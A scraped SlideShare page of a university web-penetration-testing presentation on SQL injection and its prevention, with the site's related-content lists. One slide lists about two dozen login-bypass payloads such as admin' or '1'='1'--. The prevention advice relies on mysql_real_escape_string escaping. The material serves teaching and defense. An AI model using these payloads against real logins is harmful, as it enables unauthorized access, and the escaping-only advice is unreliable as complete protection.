SlideShare a Scribd company logo
2
Most read
10
Most read
12
Most read
SQL injection prevention
techniques
EGCO 627: Web Penetration Testing
Mahidol University
What is SQL injection?
An SQL injection is a technique that attackers apply to insert SQL query
into input fields to then be processed by the underlying SQL database.
These weaknesses are then able to be abused when entry forms allow
user-generated SQL statements to query the database directly.
“OR 1=1”
What is SQL injection? (Cont.)
To give you a typical scenario, take a typical login form consisting of a
user/email field and a password field. After the login info is submitted,
it is combined with an SQL query on your web server. In PHP, the
command is written in the following way:
What is SQL injection? (Cont.)
It is sent to the server to verify if it was given a valid username with a
corresponding password. A username “admin” with the “admin1234”
password would result in this command:
What is SQL injection? (Cont.)
It will then return user data that was entered in the password field. This
move could allow the login screen to be bypassed. An attacker can also
go further by adding another select condition, ‘OR 1=1’, that will result
in the following query:
What is SQL injection? (Cont.)
พิสูจน์ตัวตนปกติ พิสูจน์ตัวตนSQLi
SQL Injection - Information Gathering (Cont.)
So I browsed it and I could see this:
SQL Injection - burp suite scan
SQL Injection Authentication Bypass Cheat Sheet
or 1=1
or 1=1--
or 1=1#
or 1=1/*
' or'1'='1
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/
How to prevent SQL injection attacks
SQL injections are one of the most utilized
web attack vectors, used with the goal of
retrieving sensitive data from organizations.
When you hear about stolen credit cards or
password lists, they often happen through
SQL injection vulnerabilities. Fortunately,
there are ways to protect your website from
SQL injection attacks.
SQL injection preventaion techniques
Escaping
Always use character-escaping functions for user-supplied input
provided by each database management system (DBMS). This is done
to make sure the DBMS never confuses it with the SQL statement
provided by the developer.
SQL injection preventaion techniques (Cont.)
For example, use the mysql_real_escape_string() in PHP to avoid
characters that could lead to an unintended SQL command. A modified
version for the login bypass scenario would look like the following:
SQL injection preventaion techniques (Cont.)
Previously, your code would be vulnerable to adding an escape
character () in front of the single quotes. However, having this small
alteration will protect against an illegitimate user and mitigate SQL
injection.
SQL injection prevention techniques (Cont.)
input user มาสร้าง query แล้วยิงลง database ตรงๆ โดยไม่มี escape ใดๆ
SQL injection prevention techniques (Cont.)
Escape user input
DEMO
Referent
• https://www.ptsecurity.com/ww-en/analytics/knowledge-base/how-to-prevent-sql-injection-
attacks/
• https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
Present BY:
• Songchai Duangpan 6136896
• Phattarapon Maprasert 6136187

More Related Content

PPTX
Sql injection - security testing
PPT
A Brief Introduction in SQL Injection
PPTX
Sql Injection attacks and prevention
PPT
SQL Injection
PPTX
Sql injection
PPTX
Sql injections - with example
PDF
Sql Injection - Vulnerability and Security
PPTX
SQL Injections (Part 1)
Sql injection - security testing
A Brief Introduction in SQL Injection
Sql Injection attacks and prevention
SQL Injection
Sql injection
Sql injections - with example
Sql Injection - Vulnerability and Security
SQL Injections (Part 1)

What's hot (20)

PPTX
Ppt on sql injection
PDF
How to identify and prevent SQL injection
PPT
Sql injection
PPTX
SQL Injections - A Powerpoint Presentation
PPTX
Sql injection
PPTX
SQL INJECTION
PPTX
A2 - broken authentication and session management(OWASP thailand chapter Apri...
PPTX
Vulnerabilities in modern web applications
PPTX
SQL Injection
PPT
Sql injection attack
PPTX
Sql injection in cybersecurity
PPTX
Sql injection
PPT
Sql injection
PPTX
SQL injection
PPT
Sql injection
PPTX
seminar report on Sql injection
PPTX
PPT
Top 10 Web Security Vulnerabilities (OWASP Top 10)
PPTX
Owasp top 10 vulnerabilities
PDF
Top 10 Web Application vulnerabilities
Ppt on sql injection
How to identify and prevent SQL injection
Sql injection
SQL Injections - A Powerpoint Presentation
Sql injection
SQL INJECTION
A2 - broken authentication and session management(OWASP thailand chapter Apri...
Vulnerabilities in modern web applications
SQL Injection
Sql injection attack
Sql injection in cybersecurity
Sql injection
Sql injection
SQL injection
Sql injection
seminar report on Sql injection
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Owasp top 10 vulnerabilities
Top 10 Web Application vulnerabilities
Ad

Similar to SQL injection prevention techniques (20)

PDF
Sql injection
PPTX
SQL INJECTION
PDF
Prevention of SQL injection in E- Commerce
PPTX
Google Dorks and SQL Injection
PDF
Sql injection bypassing hand book blackrose
PPTX
Hacking Techniques
PPTX
SQL Injections - 2016 - Huntington Beach
PPTX
Sql Injection
PPTX
Understanding and preventing sql injection attacks
PPTX
Sql injection
PPTX
SQL INJECTION ATTACKS.pptx
PPTX
Intro to SQL Injection
PDF
Sql
PDF
Ijcet 06 10_005
PDF
My app is secure... I think
PDF
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
PDF
Chapter 5 - SQL-Injection-NK.pdf
PPTX
Ethical Hacking Project: SQL Injection Vulnerability Analysis.pptx
PPTX
SQL injection implementation and prevention
ODP
Sql injection presentation
Sql injection
SQL INJECTION
Prevention of SQL injection in E- Commerce
Google Dorks and SQL Injection
Sql injection bypassing hand book blackrose
Hacking Techniques
SQL Injections - 2016 - Huntington Beach
Sql Injection
Understanding and preventing sql injection attacks
Sql injection
SQL INJECTION ATTACKS.pptx
Intro to SQL Injection
Sql
Ijcet 06 10_005
My app is secure... I think
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
Chapter 5 - SQL-Injection-NK.pdf
Ethical Hacking Project: SQL Injection Vulnerability Analysis.pptx
SQL injection implementation and prevention
Sql injection presentation
Ad

Recently uploaded (20)

PPTX
Cell Structure & Organelles in detailed.
PDF
grade 11-chemistry_fetena_net_5883.pdf teacher guide for all student
PDF
Pre independence Education in Inndia.pdf
PDF
Supply Chain Operations Speaking Notes -ICLT Program
PDF
O7-L3 Supply Chain Operations - ICLT Program
PDF
Chapter 2 Heredity, Prenatal Development, and Birth.pdf
PPTX
Pharmacology of Heart Failure /Pharmacotherapy of CHF
PPTX
1st Inaugural Professorial Lecture held on 19th February 2020 (Governance and...
PDF
Anesthesia in Laparoscopic Surgery in India
PDF
VCE English Exam - Section C Student Revision Booklet
PPTX
GDM (1) (1).pptx small presentation for students
PDF
102 student loan defaulters named and shamed – Is someone you know on the list?
PDF
Black Hat USA 2025 - Micro ICS Summit - ICS/OT Threat Landscape
PDF
BÀI TẬP BỔ TRỢ 4 KỸ NĂNG TIẾNG ANH 9 GLOBAL SUCCESS - CẢ NĂM - BÁM SÁT FORM Đ...
PPTX
Lesson notes of climatology university.
PPTX
Pharma ospi slides which help in ospi learning
PPTX
human mycosis Human fungal infections are called human mycosis..pptx
PDF
Physiotherapy_for_Respiratory_and_Cardiac_Problems WEBBER.pdf
PDF
STATICS OF THE RIGID BODIES Hibbelers.pdf
PDF
TR - Agricultural Crops Production NC III.pdf
Cell Structure & Organelles in detailed.
grade 11-chemistry_fetena_net_5883.pdf teacher guide for all student
Pre independence Education in Inndia.pdf
Supply Chain Operations Speaking Notes -ICLT Program
O7-L3 Supply Chain Operations - ICLT Program
Chapter 2 Heredity, Prenatal Development, and Birth.pdf
Pharmacology of Heart Failure /Pharmacotherapy of CHF
1st Inaugural Professorial Lecture held on 19th February 2020 (Governance and...
Anesthesia in Laparoscopic Surgery in India
VCE English Exam - Section C Student Revision Booklet
GDM (1) (1).pptx small presentation for students
102 student loan defaulters named and shamed – Is someone you know on the list?
Black Hat USA 2025 - Micro ICS Summit - ICS/OT Threat Landscape
BÀI TẬP BỔ TRỢ 4 KỸ NĂNG TIẾNG ANH 9 GLOBAL SUCCESS - CẢ NĂM - BÁM SÁT FORM Đ...
Lesson notes of climatology university.
Pharma ospi slides which help in ospi learning
human mycosis Human fungal infections are called human mycosis..pptx
Physiotherapy_for_Respiratory_and_Cardiac_Problems WEBBER.pdf
STATICS OF THE RIGID BODIES Hibbelers.pdf
TR - Agricultural Crops Production NC III.pdf

SQL injection prevention techniques

  • 1. SQL injection prevention techniques EGCO 627: Web Penetration Testing Mahidol University
  • 2. What is SQL injection? An SQL injection is a technique that attackers apply to insert SQL query into input fields to then be processed by the underlying SQL database. These weaknesses are then able to be abused when entry forms allow user-generated SQL statements to query the database directly. “OR 1=1”
  • 3. What is SQL injection? (Cont.) To give you a typical scenario, take a typical login form consisting of a user/email field and a password field. After the login info is submitted, it is combined with an SQL query on your web server. In PHP, the command is written in the following way:
  • 4. What is SQL injection? (Cont.) It is sent to the server to verify if it was given a valid username with a corresponding password. A username “admin” with the “admin1234” password would result in this command:
  • 5. What is SQL injection? (Cont.) It will then return user data that was entered in the password field. This move could allow the login screen to be bypassed. An attacker can also go further by adding another select condition, ‘OR 1=1’, that will result in the following query:
  • 6. What is SQL injection? (Cont.) พิสูจน์ตัวตนปกติ พิสูจน์ตัวตนSQLi
  • 7. SQL Injection - Information Gathering (Cont.) So I browsed it and I could see this:
  • 8. SQL Injection - burp suite scan
  • 9. SQL Injection Authentication Bypass Cheat Sheet or 1=1 or 1=1-- or 1=1# or 1=1/* ' or'1'='1 admin' -- admin' # admin'/* admin' or '1'='1 admin' or '1'='1'-- admin' or '1'='1'# admin' or '1'='1'/* admin' or 1=1 admin' or 1=1-- admin' or 1=1# admin' or 1=1/* admin') or ('1'='1 admin') or ('1'='1'-- admin') or ('1'='1'# admin') or ('1'='1'/* admin') or '1'='1 admin') or '1'='1'-- admin') or '1'='1'# admin') or '1'='1'/* https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/
  • 10. How to prevent SQL injection attacks SQL injections are one of the most utilized web attack vectors, used with the goal of retrieving sensitive data from organizations. When you hear about stolen credit cards or password lists, they often happen through SQL injection vulnerabilities. Fortunately, there are ways to protect your website from SQL injection attacks.
  • 11. SQL injection preventaion techniques Escaping Always use character-escaping functions for user-supplied input provided by each database management system (DBMS). This is done to make sure the DBMS never confuses it with the SQL statement provided by the developer.
  • 12. SQL injection preventaion techniques (Cont.) For example, use the mysql_real_escape_string() in PHP to avoid characters that could lead to an unintended SQL command. A modified version for the login bypass scenario would look like the following:
  • 13. SQL injection preventaion techniques (Cont.) Previously, your code would be vulnerable to adding an escape character () in front of the single quotes. However, having this small alteration will protect against an illegitimate user and mitigate SQL injection.
  • 14. SQL injection prevention techniques (Cont.) input user มาสร้าง query แล้วยิงลง database ตรงๆ โดยไม่มี escape ใดๆ
  • 15. SQL injection prevention techniques (Cont.) Escape user input
  • 16. DEMO
  • 18. Present BY: • Songchai Duangpan 6136896 • Phattarapon Maprasert 6136187